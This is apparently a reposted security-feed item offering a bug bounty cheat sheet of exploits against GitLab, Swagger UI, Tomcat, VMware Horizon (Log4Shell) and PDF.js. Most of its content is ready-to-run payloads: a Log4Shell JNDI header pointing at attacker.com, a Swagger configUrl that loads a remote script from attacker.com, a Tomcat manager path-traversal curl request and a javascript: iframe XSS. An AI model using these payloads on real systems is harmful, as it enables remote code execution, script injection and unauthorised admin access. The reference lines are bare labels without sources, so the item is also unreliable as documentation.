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Here are some critical bug bounty exploits shared by Zlatan H., an Offensive Security Specialist:
1. GitLab Access Control Leak
Endpoint: `/api/v4/projects`
This API may expose sensitive project data if misconfigured.
2. Swagger UI DOM XSS (Pre-OAS3)
Vulnerable parameters:
– `config`
– `configUrl`
– `url`
3. Tomcat Path Normalization to `/manager/html`
Exploit:
curl -v "http://target.com/..;/manager/html"
Reference: Tomcat Path Traversal
4. VMware Horizon & Log4Shell
Check for Log4j RCE:
curl -X POST -H 'X-Api-Version: ${jndi:ldap://attacker.com/a}' http://target.com
Reference: VMware Horizon Exploit
5. PDF.js DOM XSS via `/web/viewer.html`
Common paths:
– `/pdfjs/web/viewer.html`
– `/pdfjs/`
– `/lib/pdfjs/`
– `/js/pdfjs/`
Reference: PDF.js XSS
You Should Know:
Exploit Verification & Testing
1. GitLab API Check
curl -s "http://target.com/api/v4/projects" | jq
2. Swagger UI XSS Test
fetch('/swagger-ui?configUrl=//attacker.com/xss.js')
3. Tomcat Manager Bypass
nmap -p 8080 --script http-tomcat-mgr-bypass.nse target.com
4. Log4Shell Detection
python3 log4j-scanner.py -u http://target.com
5. PDF.js XSS Payload
< iframe src="http://target.com/pdfjs/web/viewer.html?file=javascript:alert(1)">
What Undercode Say
Bug bounty hunting requires persistence and automation. Use tools like:
– Burp Suite for intercepting requests
– Nmap for service enumeration
– Metasploit for exploitation
– OWASP ZAP for automated scanning
Always test in a controlled environment before reporting.
Expected Output:
- Vulnerable endpoints exposed
- Successful XSS/command execution
- Proof-of-concept reports for bounty submissions
Prediction
Bug bounty programs will increasingly focus on API security and misconfigurations, with AI-driven scanners becoming essential for hunters.
Course Links
Follow Zlatan H. for more:
IT/Security Reporter URL:
Reported By: Zlatanh This – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
